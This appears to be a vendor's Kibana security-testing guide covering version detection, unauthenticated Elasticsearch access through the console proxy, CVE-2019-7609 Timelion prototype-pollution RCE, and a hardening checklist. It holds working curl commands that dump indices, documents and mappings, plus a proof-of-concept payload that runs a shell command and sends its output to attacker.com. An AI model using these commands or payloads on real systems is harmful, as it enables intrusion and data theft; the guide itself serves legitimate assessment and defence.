Kibana Security Testing: Unauthenticated Elasticsearch Access, Timelion SSRF, Console RCE, and Saved Objects Exfiltration

Kibana is the visualization and management interface for the Elastic Stack, one of the most widely deployed log management and analytics platforms in enterprise environments. When Kibana is deployed without X-Pack security or with authentication disabled, an attacker who can reach port 5601 gains full access to the underlying Elasticsearch cluster through the Dev Tools console — including reading all indexed data (application logs, user data, audit trails), executing arbitrary Elasticsearch API calls, creating or deleting indices, and modifying cluster settings; CVE-2019-7609 is a critical vulnerability in Kibana's Timelion visualization component where prototype pollution enables arbitrary OS command execution with the privileges of the Kibana process on versions 5.6.15 and prior and 6.6.1 and prior; saved objects including index patterns, dashboards, and saved searches expose the business data model and field naming conventions; and the Kibana /api/console/proxy endpoint in older versions passed arbitrary Elasticsearch API requests from the browser enabling SSRF. This guide covers systematic Kibana security assessment.

Table of Contents

  1. Kibana Discovery and Version Detection
  2. Authentication Status and Dev Tools Access
  3. Elasticsearch Data Access via Dev Tools Console
  4. CVE-2019-7609 Timelion SSRF and RCE
  5. Saved Objects and Index Pattern Enumeration
  6. Kibana Security Hardening

Kibana Discovery and Version Detection

# Kibana default port: 5601
# Kibana version exposed at /api/status

curl -s http://kibana.example.com:5601/api/status 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
version = data.get('version', {})
print(f\"Kibana version: {version.get('number','?')}\")
print(f\"Build: {version.get('build_hash','?')[:8]}\")
status = data.get('status', {}).get('overall', {})
print(f\"Status: {status.get('level','?')} — {status.get('summary','?')}\")
" 2>/dev/null

# Check if X-Pack security is enabled
# Without security: /api/status returns 200 without Authorization header
# With security: returns 401
AUTH_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  http://kibana.example.com:5601/api/status 2>/dev/null)
if [ "$AUTH_STATUS" == "200" ]; then
  echo "UNAUTHENTICATED: Kibana accessible without credentials"
elif [ "$AUTH_STATUS" == "401" ]; then
  echo "Authentication required (X-Pack security may be enabled)"
fi

Elasticsearch Data Access via Dev Tools Console

# The Dev Tools console at /app/dev_tools proxies requests to Elasticsearch
# An unauthenticated user can execute ANY Elasticsearch API call

# Get all Elasticsearch index names (reveals data stored)
curl -s "http://kibana.example.com:5601/api/console/proxy?path=_cat/indices%3Fv%26format%3Djson&method=GET" \
  -H "kbn-xsrf: true" 2>/dev/null | \
  python3 -c "
import json,sys
indices = json.load(sys.stdin)
print('Elasticsearch indices:')
for idx in sorted(indices, key=lambda x: -int(x.get('docs.count','0') or 0)):
    print(f\"  {idx['index']:50} docs={idx.get('docs.count','?'):>10} size={idx.get('store.size','?')}\")
" 2>/dev/null

# Sample documents from a specific index
INDEX_NAME="your-target-index"
curl -s "http://kibana.example.com:5601/api/console/proxy?path=${INDEX_NAME}/_search%3Fsize%3D5&method=GET" \
  -H "kbn-xsrf: true" \
  -H "Content-Type: application/json" \
  -d '{"query":{"match_all":{}}}' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
hits = data.get('hits', {}).get('hits', [])
for hit in hits[:3]:
    print(json.dumps(hit.get('_source',{}), indent=2)[:500])
    print('---')
" 2>/dev/null

# Get field mappings for sensitive data structure analysis
curl -s "http://kibana.example.com:5601/api/console/proxy?path=${INDEX_NAME}/_mapping&method=GET" \
  -H "kbn-xsrf: true" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
# Extract field names from mapping
def get_fields(obj, prefix=''):
    fields = []
    for k, v in obj.items():
        if isinstance(v, dict):
            if 'type' in v:
                fields.append(f'{prefix}{k} ({v[\"type\"]})')
            elif 'properties' in v:
                fields.extend(get_fields(v['properties'], f'{prefix}{k}.'))
    return fields
for idx, mapping in data.items():
    props = mapping.get('mappings',{}).get('properties',{})
    print(f'Fields in {idx}:')
    for f in sorted(get_fields(props))[:30]:
        print(f'  {f}')
" 2>/dev/null

CVE-2019-7609 Timelion SSRF and RCE

CVE-2019-7609 is a critical vulnerability in Kibana 5.6.15 and earlier and 6.6.1 and earlier affecting the Timelion visualization plugin. The vulnerability is a prototype pollution issue in the Timelion expression parser that leads to arbitrary OS command execution via the Node.js child_process module.

# CVE-2019-7609 affects: Kibana 5.6.15 and earlier, 6.6.1 and earlier
# Patched in: 5.6.16, 6.6.2, 7.0.0+

# Step 1: Verify Kibana version is vulnerable (check /api/status first)
# Step 2: Create a Timelion visualization with prototype pollution payload

# The vulnerability is exploited by creating a Timelion sheet with a crafted expression
# This is a documented AUTHORIZED TESTING payload — do not use without permission

# Proof-of-concept (SSRF portion — internal service probe):
# Navigate to Kibana Timelion (/app/timelion) and enter:
# .es.props(label.__proto__.env.AAAA='require("child_process").exec("curl http://attacker.com/$(id)")')
# .bars(stack=true)

# For authorized testing, use a safe detection expression:
TIMELION_PAYLOAD='.es.props(label.__proto__.env.AAAA="test").bars(stack=true)'
curl -s -X POST "http://kibana.example.com:5601/api/timelion/run" \
  -H "kbn-xsrf: true" \
  -H "Content-Type: application/json" \
  -d "{\"sheet\":[\"${TIMELION_PAYLOAD}\"],\"time\":{\"from\":\"now-15m\",\"to\":\"now\"}}" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
# Check if the response indicates prototype modification occurred
print('Response keys:', list(data.keys()) if isinstance(data, dict) else 'non-dict')
if 'sheet' in str(data):
    print('Timelion endpoint accessible — test prototype pollution on vulnerable versions')
" 2>/dev/null

Kibana Security Hardening

Kibana Security Hardening Checklist:
Security TestMethodRisk
Kibana accessible without authentication (no X-Pack security)GET /api/status returns 200 without credentials — full Kibana and Elasticsearch accessCritical
Dev Tools console enables arbitrary Elasticsearch API callsPOST /api/console/proxy — read all indices, sample documents, execute aggregations on sensitive dataCritical
Index pattern enumeration reveals all data storedGET /api/index_patterns/_find — lists all configured index patterns including sensitive data source namesHigh
CVE-2019-7609 Timelion prototype pollution RCEPOST /api/timelion/run with crafted expression — OS command execution on Kibana 5.6.15 and 6.6.1 and earlierCritical
Saved objects expose business data modelsGET /api/saved_objects/_find — retrieves all saved dashboards, searches, and visualizations revealing data structureHigh
Console proxy SSRF to internal Elasticsearch clusterPOST /api/console/proxy with internal Elasticsearch node address — reaches cluster nodes not directly exposedHigh

Automate Kibana Security Testing

Ironimo tests Kibana deployments for unauthenticated access when X-Pack security is disabled allowing full Elasticsearch data exfiltration via the Dev Tools console, CVE-2019-7609 Timelion expression parser prototype pollution enabling OS command execution on vulnerable 5.x and 6.x versions, saved object enumeration revealing business data models and index patterns, index mapping extraction exposing field names and data types for all stored data, and Kibana console proxy SSRF to internal Elasticsearch cluster nodes.

Start free scan